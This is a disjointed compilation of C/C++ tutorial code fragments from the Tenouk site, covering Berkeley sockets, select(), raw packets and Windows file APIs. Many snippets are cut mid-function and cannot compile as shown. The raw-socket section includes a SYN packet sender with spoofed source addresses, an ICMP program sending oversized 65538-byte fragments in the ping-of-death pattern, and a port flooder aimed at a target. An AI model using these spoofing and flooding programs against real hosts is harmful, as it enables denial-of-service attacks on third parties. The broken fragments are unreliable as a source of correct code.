and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
int main()
{
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);
==============================MODULE39=====================================
| |
| The program examples' source codes have been arranged in the same |
/*testpid.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
----------------------------------------------------------------------------
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MYPORT 3334
int main()
{
int sockfd; /*socket file descriptor*/
struct sockaddr_in my_addr;
/*....other codes....*/
return 0;
}
---------------------------------------------------------------------------------------------
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
if(sockfd == -1)
{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");
/*...other codes...*/
return 0;
}
--------------------------------------------------------------------------------------------
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main()
{
/* listen on sock_fd, new connection on new_fd */
int sockfd, new_fd;
/* my address information, address where I run this program */
struct sockaddr_in my_addr;
/* remote address information */
struct sockaddr_in their_addr;
int sin_size;
{
perror("bind() error lol!");
exit(1);
}
else
printf("bind() is OK...\n");
if(new_fd == -1)
perror("accept() error lol!");
else
printf("accept() is OK...\n");
/*.....other codes.......*/
close(new_fd);
close(sockfd);
return 0;
}
==============================MODULE40=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
/*****getipaddr.c ******/
/****a hostname lookup program example******/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
-----------------------------------------------------------------------------------------------
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
void sigchld_handler(int s)
{
while(wait(NULL) > 0);
}
/*accept() loop*/
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
{
perror("Server-accept() error");
continue;
}
else
printf("Server-accept() is OK...\n");
printf("Server-new socket, new_fd is OK...\n");
printf("Server: Got connection from %s\n", inet_ntoa(their_addr.sin_addr));
else
printf("Server-send is OK...!\n");
-----------------------------------------------------------------------------------------------
perror("socket()");
exit(1);
}
else
printf("Client-The socket() sockfd is OK...\n");
buf[numbytes] = '\0';
printf("Client-Received: %s", buf);
printf("Client-Closing sockfd\n");
close(sockfd);
return 0;
}
-----------------------------------------------------------------------------------------------
{
int sockfd;
/* my address information */
struct sockaddr_in my_addr;
/* connector’s address information */
struct sockaddr_in their_addr;
int addr_len, numbytes;
char buf[MAXBUFLEN];
if(close(sockfd) != 0)
printf("Server-sockfd closing failed!\n");
else
-----------------------------------------------------------------------------------------------
if (argc != 3)
{
fprintf(stderr, "Client-Usage: %s <hostname> <message>\n", argv[0]);
exit(1);
}
/* get the host info */
if ((he = gethostbyname(argv[1])) == NULL)
{
perror("Client-gethostbyname() error lol!");
exit(1);
}
else
printf("Client-gethostname() is OK...\n");
if((numbytes = sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("Client-sendto() error lol!");
exit(1);
}
else
printf("Client-sendto() is OK...\n");
if (close(sockfd) != 0)
printf("Client-sockfd closing is failed!\n");
else
printf("Client-sockfd successfully closed!\n");
return 0;
}
-----------------------------------------------------------------------------------------------
FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
/* don’t care about writefds and exceptfds: */
select(STDIN+1, &readfds, NULL, NULL, &tval);
if (FD_ISSET(STDIN, &readfds))
printf("A key was pressed lor!\n");
else
printf("Timed out lor!...\n");
return 0;
}
==============================MODULE41=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
/*******select.c*********/
/*******Using select() for I/O multiplexing*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* port we're listening on */
#define PORT 2020
exit(1);
}
printf("Server-socket() is OK...\n");
/*"address already in use" error message */
if(setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("Server-setsockopt() error lol!");
exit(1);
}
printf("Server-setsockopt() is OK...\n");
/* bind */
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = INADDR_ANY;
serveraddr.sin_port = htons(PORT);
memset(&(serveraddr.sin_zero), '\0', 8);
/* listen */
if(listen(listener, 10) == -1)
{
perror("Server-listen() error lol!");
exit(1);
}
printf("Server-listen() is OK...\n");
/* loop */
for(;;)
{
/* copy it */
read_fds = master;
{
/* handle new connections */
addrlen = sizeof(clientaddr);
if((newfd = accept(listener, (struct sockaddr *)&clientaddr, &addrlen)) == -1)
{
perror("Server-accept() error lol!");
}
else
{
printf("Server-accept() is OK...\n");
else
perror("recv() error lol!");
/* close it... */
close(i);
/* remove from master set */
FD_CLR(i, &master);
}
else
{
/* we got some data from a client*/
for(j = 0; j <= fdmax; j++)
{
/* send to everyone! */
if(FD_ISSET(j, &master))
{
/*except the listener and ourselves */
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
perror("send() error lol!");
}
}
}
}
}
}
}
}
return 0;
}
---------------------------------------------------------------------------------------
/************tcpserver.c************************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Server port number */
#define SERVPORT 3111
int main()
{
/* Variable and structure definitions. */
int sd, sd2, rc, length = sizeof(int);
int totalcnt = 0, on = 1;
char temp;
char buffer[BufferLength];
struct sockaddr_in serveraddr;
struct sockaddr_in their_addr;
fd_set read_fd;
struct timeval timeout;
timeout.tv_sec = 15;
timeout.tv_usec = 0;
/* bind to an address */
memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
/*client IP*/
printf("Server-new socket, sd2 is OK...\n");
printf("Got connection from the f***ing client: %s\n", inet_ntoa(their_addr.sin_addr));
{
printf("Client program has issued a close()\n");
close(sd);
close(sd2);
exit(-1);
}
else
{
totalcnt += rc;
printf("Server-read() is OK\n");
}
}
}
else if (rc < 0)
{
perror("Server-select() error");
close(sd);
close(sd2);
exit(-1);
}
/* rc == 0 */
else
{
printf("Server-select() timed out.\n");
close(sd);
close(sd2);
exit(-1);
}
close(sd);
close(sd2);
exit(-1);
}
---------------------------------------------------------------------------------------
/************tcpclient.c************************/
/* Header files needed to use the sockets API. */
/* File contains Macro, Data Type and */
/* Structure definitions along with Function */
/* prototypes. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Default host name of server system. Change it to your default */
/* server hostname or IP. If the user do not supply the hostname */
/* as an argument, the_server_name_or_IP will be used as default*/
#define SERVER "The_server_name_or_IP"
/* Server's port number */
#define SERVPORT 3111
int totalcnt = 0;
struct hostent *hostp;
char data[100] = "This is a test string from client lol!!! ";
if(rc < 0)
{
perror("Client-write() error");
rc = getsockopt(sd, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{
/* Print out the asynchronously received error. */
errno = temp;
perror("SO_ERROR was");
}
close(sd);
exit(-1);
}
else
{
printf("Client-write() is OK\n");
printf("String successfully sent lol!\n");
printf("Waiting the %s to echo back...\n", server);
}
totalcnt = 0;
while(totalcnt < BufferLength)
{
}
else if (rc == 0)
{
printf("Server program has issued a close()\n");
close(sd);
exit(-1);
}
else
totalcnt += rc;
}
printf("Client-read() is OK\n");
printf("Echoed data from the f***ing server: %s\n", buffer);
---------------------------------------------------------------------------------------
/*******************udpserver.c*****************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/* header files */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* Server's port number, listen at 3333 */
#define SERVPORT 3333
------------------------------------------------------------------------------------------------------------
/****************udpclient.c********************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
strcpy(server, SERVER);
}
if(rc < 0)
{
perror("UDP Client - recvfrom() error");
close(sd);
exit(-1);
}
else
{
printf("UDP client received the following: \"%s\" message\n", bufptr);
----------------------------------------------------------------------------------------------------------
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
rc = bind(listen_sd, (struct sockaddr *)&addr, sizeof(addr));
if(rc < 0)
{
perror("Iserver - bind() error");
close(listen_sd);
exit(-1);
}
else
printf("Iserver - bind() is OK\n");
---------------------------------------------------------------------------------------------------------------
if(argc !=2)
{
printf("Usage: %s <Server_name or Server_IP_address>\n", argv[0]);
exit (-1);
}
/* Create an AF_INET stream socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
perror("client - socket() error");
exit(-1);
}
else
printf("client - socket() is OK.\n");
/* Initialize the socket address structure */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
/* Connect to the server */
-------------------------------------------------------------------------------------------------------------------
else
printf("Sending datagram message...OK\n");
/* Try the re-read from the socket if the loopback is not disable
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error\n");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message from client...OK\n");
printf("The message is: %s\n", databuf);
}
*/
return 0;
}
-----------------------------------------------------------------------------------------------------------------
}
else
printf("Setting SO_REUSEADDR...OK.\n");
}
==============================MODULE43=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
// ----rawudp.c------
// Must be run by root lol! Just datagram, no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
memset(buffer, 0, PCKT_LEN);
if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}
int count;
for(count = 1; count <=20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
{
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
}
------------------------------------------------------------------------------------------------------------------------
//---cat rawtcp.c---
// Run as root or suid 0, just datagram no data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT_LEN 8192
{
unsigned long sum;
for(sum=0; len>0; len--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
memset(buffer, 0, PCKT_LEN);
if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}
ip->iph_ttl = 64;
ip->iph_protocol = 6; // TCP
ip->iph_chksum = 0; // Done by kernel
// TCP structure
// The source port, spoofed, we accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command line
tcp->tcph_destport = htons(atoi(argv[4]));
tcp->tcph_seqnum = htonl(1);
tcp->tcph_acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph_syn = 1;
tcp->tcph_ack = 0;
tcp->tcph_win = htons(32767);
tcp->tcph_chksum = 0; // Done by kernel
tcp->tcph_urgptr = 0;
// IP checksum calculation
ip->iph_chksum = csum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct tcpheader)));
printf("Using:::::Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
------------------------------------------------------------------------------------------------------------------------
if(argc < 3)
{
printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
printf("- saddress is the spoofed source address\n");
printf("- dstaddress is the target\n");
printf("- number is the number of packets to send, 100 is the default\n");
exit(1);
}
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
/* Header checksum */
icmp->checksum = htons(~(ICMP_ECHO << 8));
else
ip->ip_len = htons(418); /* make total 65538 */
/* sending time */
if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
fprintf(stderr, "offset %d: ", offset);
perror("sendto() error");
}
else
printf("sendto() is OK.\n");
------------------------------------------------------------------------------------------------------------------------
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
if(argc != 3)
{
printf("Invalid parameters!\n");
printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
exit(-1);
}
sin.sin_family = AF_INET;
/* you byte-order >1byte header values to network byte order
(not needed on big-endian machines). */
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);
}
return 0;
}
==============================ModuleA=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>
int main()
{
//Get the drives bit masks...1 is available, 0 is not available
//A = least significant bit...
ULONG DriveMask = _getdrives();
//If something wrong
if(DriveMask == 0)
printf("_getdrives() failed with failure code: %d\n", GetLastError());
else
{
printf("This machine has the following logical drives:\n");
while (DriveMask)
{ //List all the drives...
if(DriveMask & 1)
printf(mydrives);
//Go to the next drive strings with one space
++mydrives[1];
//Shift the bit masks binary
//to the right and repeat
DriveMask >>= 1;
}
printf("\n");
}
return 0;
}
-----------------------------------------------------------------------------------------------
#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>
if(uValue)
{
while(uValue && (szCur >= szLeft))
{
if(nComma == 3)
{
*szCur = ',';
nComma = 0;
}
else
{
*szCur = (uValue % 10) | 0x30;
uValue /= 10;
++nComma;
}
--szCur;
}
}
else
{
*szCur = '0';
--szCur;
}
if(uValue)
{
szCur = szLeft;
while(szCur <= szRight)
{//If not enough field to display the data...
*szCur = '*';
++szCur;
}
}
}
int main()
{
TCHAR szMsg[4200];
struct _diskfree_t df = {0};
//Search drives and assigns the bit masks to
//uDriveMask variable...
ULONG uDriveMask = _getdrives();
unsigned uErr, uLen, uDrive;
--------------------------------------------------------------------------------------------------------
/*******cruntime.cpp*******/
/***Visual C++ .Net/7.0****/
#include <stdio.h>
#include <conio.h>
#include <direct.h>
#include <stdlib.h>
#include <ctype.h>
int main(void)
{
int chr, drive, curdrive;
static char path[_MAX_PATH];
char buffer[_MAX_PATH];
char newdir[50] = "\\testdir";
char path1[50] = "C:\\WINNT\\System32\\config";
if(_rmdir("\\testdir") == 0)
printf("\nDirectory %s was successfully removed\n", newdir);
else
printf("\nProblem removing directory %s\n", newdir);
}
else
printf("\nProblem creating directory %s\n", newdir);
-------------------------------------------------------------------------------------------------------
int main()
{
char path[50] = "C:\\WINNT\\System32\\config";
struct _finddata_t c_file;
long hFile;
return 0;
}
----------------------------------------------------------------------------------------------------
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
int main()
{
int fhdl, result;
char fname[20] = "C:\\data.txt";
/*Open a file*/
if((fhdl = _open(fname, _O_RDWR | _O_CREAT, _S_IREAD | _S_IWRITE)) != -1)
{
printf("%s file length before running _chsize(): %ld\n", fname, _filelength(fhdl));
/*Change the file size*/
printf("Executing _chsize(fhdl, 123456)...\n");
if((result = _chsize(fhdl, 123456)) == 0)
printf("%s file size successfully changed!\n", fname);
else
printf("Problem in changing the %s size\n", fname);
/*New size*/
printf("%s file length after changing the size: %ld\n", fname, _filelength(fhdl));
/*close the file handle*/
_close(fhdl);
}
return 0;
}
--------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <direct.h>
int main()
{
DisplayFullPath("test.txt");
DisplayFullPath("\\test.txt");
DisplayFullPath("..\\test.txt");
return 0;
}
-----------------------------------------------------------------------------------------------------------
#include <stdlib.h>
#include <stdio.h>
int main()
{
char path_buffer[_MAX_PATH];
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
==============================ModuleB=====================================
| |
| The program examples' source codes have been arranged in the same |
int main()
{
/*Check for existence*/
if((_access(obj, 0)) != -1)
printf("%s file exists\n", obj);
else
printf("%s file does not exist lol!\n", obj);
else
{
printf("\nThe file\'s mode is changed to read/write\n");
_chmod(obj, _S_IWRITE);
}
return 0;
}
----------------------------------------------------------------------------------------------
int main()
{
int fh, oldmask;
/*File in current working directory*/
char test[20] = "test.txt";
----------------------------------------------------------------------------------------------
int main()
{
struct __stat64 buf;
int result;
char fname[50] = "c:\\WINNT\\system32\\config\\sam.log";
----------------------------------------------------------------------------------------------
#include <sys/stat.h>
#include <io.h>
#include <stdio.h>
int main()
{
int fhand1, fhand2;
char fname1[50] = "cruntime.cpp";
char fname2[50] = "robots.txt";
----------------------------------------------------------------------------------------------
int main(void)
{
int curdrive;
char buffer[_MAX_PATH];
/*file name*/
char fname[20] = "content.doc";
/*path*/
char dir[50] = "d:\\test\\testsubtwo\\testsubthree";
struct _finddata_t c_file;
/*file handle*/
long hFile;
/*----------------------------------------------*/
printf("Firstly, get the current drive...\n");
curdrive = _getdrive();
printf("Current drive is %c:\n\n", curdrive + 'A'-1);
/*-----------------------------------------------*/
printf("Next, get the current working directory...\n");
printf("Current working directory is: \n");
if(_getcwd(buffer, _MAX_PATH) == NULL)
perror("_getcwd error lol!");
else
printf("%s\n\n", buffer);
/*-----------------------------------------------*/
printf("Change the current working directory...\n");
_chdir(dir);
printf("\n");
/*------------------------------------------------*/
printf("Current working directory is: \n");
if(_getcwd(buffer, _MAX_PATH) == NULL)
perror("_getcwd error");
else
printf("%s\n\n", buffer);
/*------------------------------------------------*/
hFile = _findfirst("*.*", &c_file);
{
printf("Listing of *.* files\n\n");
printf("\nRDO HID SYS ARC TYPE FILE DATE %19c SIZE\n", ' ');
printf("--- --- --- --- ---- ---- ---- %19c ----\n", ' ');
printf((c_file.attrib & _A_RDONLY) ? " Y " : " N ");
printf((c_file.attrib & _A_HIDDEN) ? " Y " : " N ");
printf((c_file.attrib & _A_SYSTEM) ? " Y " : " N ");
printf((c_file.attrib & _A_ARCH) ? " Y " : " N ");
printf((c_file.attrib & _A_NORMAL) ? " Y " : " N ");
printf(" %-15s %.24s %6d\n", c_file.name, ctime(&(c_file.time_write)), c_file.size );
/*just exit*/
exit(1);
}
/*If write, then change to read. Must check the write first
because file that can be write can also be read but not vice versa*/
if((_access(fname, 2)) == 0)
{
printf("\n%s file has write permission!\n", fname);
printf("\nChange to read only permission...\n");
_chmod(fname, _S_IREAD);
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------
int main()
{
char buff[128], ampm[] = "AM";
__time64_t lgtime;
struct __timeb64 timstruct;
struct tm *today, *thegmt, xmas = {0, 0, 12, 25, 11, 90};
/*Display UTC.*/
thegmt = _gmtime64(&lgtime);
printf("Coordinated universal time, UTC:\t%s", asctime(thegmt));
-----------------------------------------------------------------------------------------------------------------
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
char fname[20] = "testnofile.txt";
int fhndl;
/*Try to open non-existing file*/
if((fhndl = _open(fname, _O_RDONLY)) == -1)
{
/*Using the possible ways to create error message*/
perror("Using perror()");
printf("Using strerror(): %s\n", strerror(errno));
printf(_strerror("_strerror()"));
printf("There is some error opening %s file\n", fname);
}
else
{
printf("Open %s for reading succeeded!\n", fname);
_close(fhndl);
}
return 0;
}
----------------------------------------------------------------------------------------------
/*Filename stripping*/
static void TheRightside(TCHAR *str, size_t num)
{
size_t i = _tcslen(str);
size_t chs = 0, chr = 0;
/*May use malloc() for C compiler*/
TCHAR *hld = new TCHAR[num+1];
if((i > num) || (i == num))
{
for(chs = (i-num); chs<i; chs++)
{
hld[chr] = str[chs];
++chr;
}
hld[num] = '\0';
for(chs = 0; chs < (num+1); chs++)
{
str[chs] = hld[chs];
}
}
/*Don't forget to free() up if using malloc()*/
delete [] hld;
}
/*Test the searched string/filename*/
x1 = _tcslen(str1);
if(_tcslen(str2) != (unsigned)x1)
{ret = false;}
else
{
for(size_t i=0; i<x1; i++)
{
if(str1[i] != str2[i])
ret = false;
}
}
TCHAR start[_MAX_PATH];
TCHAR dir[_MAX_PATH];
/*search flag*/
bool found = false;
TCHAR test[_MAX_PATH];
/*using test as a temp location*/
_tcscpy(test, buffer);
/*Get the length of the file name*/
size_t tlen = _tcslen(file);
/*strip off possible filename if it is in the buffer*/
TheRightside(test, tlen);
/*test for it*/
if(TestTheStrings(test, file))
/*return if it is there...no need to look further*/
{return;}
/*-----------------------------------------------------------------*/
/*Other routines can be implemented/called here for the found files*/
/*Such as delete, rename, replace, search the file contents, */
/*move, append, create a file, change the file attributes etc... */
/*-----------------------------------------------------------------*/
/*Some prompt*/
printf("Example usage: %s <test.txt> or <test.*> or <*.txt> or <*.*>\n", argv[0]);
printf("It is case sensitive!\n\n");
==============================ModuleC=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
int main()
{
//handle for file
HANDLE hFile;
//file and path
char fname[30] = "c:\\testfile.txt";
DWORD lpdwFlags[100];
if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());
CloseHandle(hFile);
DeleteFile(fname);
return 0;
}
---------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#define BUFSIZE 2048
int main()
{
char chrBuf[BUFSIZE];
DWORD dwRead, dwWritten;
HANDLE hStdin, hStdout;
BOOL fSuccess;
break;
}
return 0;
}
---------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
DWORD test = GetShortPathName(
szlongpath,
szshortpath,
buffer
);
printf("The long path name = %s, the error is %d\n", szlongpath, GetLastError());
printf("The short path name = %s, the error is %d\n", szshortpath, GetLastError());
printf("The length in TCHARs = %d, the error is %d\n", test, GetLastError());
return 0;
}
---------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
char lpFileName[20] = "module20.txt";
char lpBuffer[50];
LPSTR *lpFilePart = NULL;
---------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
//handle for file
HANDLE hFile;
//file and path
char fname[30] = "c:\\testfile.txt";
if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());
else
{
printf("File's HANDLE is OK!\n");
printf("%s opened successfully!\n", fname);
}
if(CloseHandle(hFile) != 0)
printf("CloseHandle() succeeded!\n");
if(DeleteFile(fname) != 0)
printf("%s file successfully deleted!\n", fname);
return 0;
}
==============================ModuleD=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
//WinXp Pro
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
BOOL test = ReplaceFile(
lpReplacedFileName,
lpReplacementFileName,
"C:\\backup.txt",
REPLACEFILE_IGNORE_MERGE_ERRORS,
lpExclude,
lpReserved
);
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
DWORD nBufferLength = 100;
char lpBuffer[50];
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hFile;
HANDLE hTempFile;
DWORD dwBytesRead, dwBytesWritten;
char szTempName[MAX_PATH];
char buffer[4096];
char fname[50] = "c:\\testfile.txt";
if(hFile == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file.\n", fname);
}
else
printf("%s file opened successfully.\n", fname);
if(hTempFile == INVALID_HANDLE_VALUE)
printf("Could not create %s temporary file.\n", szTempName);
else
printf("%s temporary file created successfully.\n", szTempName);
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwAttrs;
char szDirPath[] = "G:\\newdir\\";
char szNewPath[MAX_PATH];
BOOL fFinished = FALSE;
dwAttrs = GetFileAttributes(FileData.cFileName);
//Change to read only where applicable...
if(!(dwAttrs & FILE_ATTRIBUTE_READONLY))
SetFileAttributes(szNewPath, dwAttrs | FILE_ATTRIBUTE_READONLY);
}
else
printf("Could not copy %s file.\n", FileData.cFileName);
if(!FindNextFile(hSearch, &FileData))
{
if(GetLastError() == ERROR_NO_MORE_FILES)
{
printf("No more file lol!\n");
fFinished = TRUE;
}
else
printf("Could not find next file.\n");
}
}
//Close the search handle.
FindClose(hSearch);
return 0;
}
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
char lpBuffer[500];
LPSTR *lpFilePart;
else
{
printf("The return value is: %d, error: %d\n", test, GetLastError());
printf("The path is %s\n", lpBuffer);
printf("The path is %p\n", lpFilePart);
}
return 0;
}
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
//handle for file
HANDLE hFile;
DWORD lpBinaryType[100];
if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());
if(GetFileType(hFile) == 0)
printf("The %s file is character type.\n", fname);
else if (GetFileType(hFile) == 1)
printf("The %s file is disk file.\n", fname);
else if (GetFileType(hFile) == 2)
printf("The %s file is socket or named pipe.\n", fname);
else if (GetFileType(hFile) == 4)
printf("The %s file is UNKNOWN type or GetFileType() failed!\n", fname);
CloseHandle(hFile);
if(GetBinaryType(fname2, lpBinaryType) != 0)
printf("The %s file is executable.\n", fname2);
else
printf("The %s is file non-executable.\n", fname2);
return 0;
}
------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
//the files' handles
HANDLE hFile, hFile1;
//filenames...
char fname[] = "c:\\test.doc";
char fname1[] = "c:\\txtcodes\\module11.txt";
//temporary storage for file sizes
DWORD dwFileSize;
DWORD dwFileType;
if(hFile == INVALID_HANDLE_VALUE)
{
printf("hFile is NULL\n");
printf("Could not create %s\n", fname);
//return error
return 4;
}
//Get the file type...
dwFileType = GetFileType(hFile);
//Verify that the correct file size was written.
dwFileSize = GetFileSize(hFile, NULL);
printf("%s size is %d bytes and file type is %d\n", fname, dwFileSize, dwFileType);
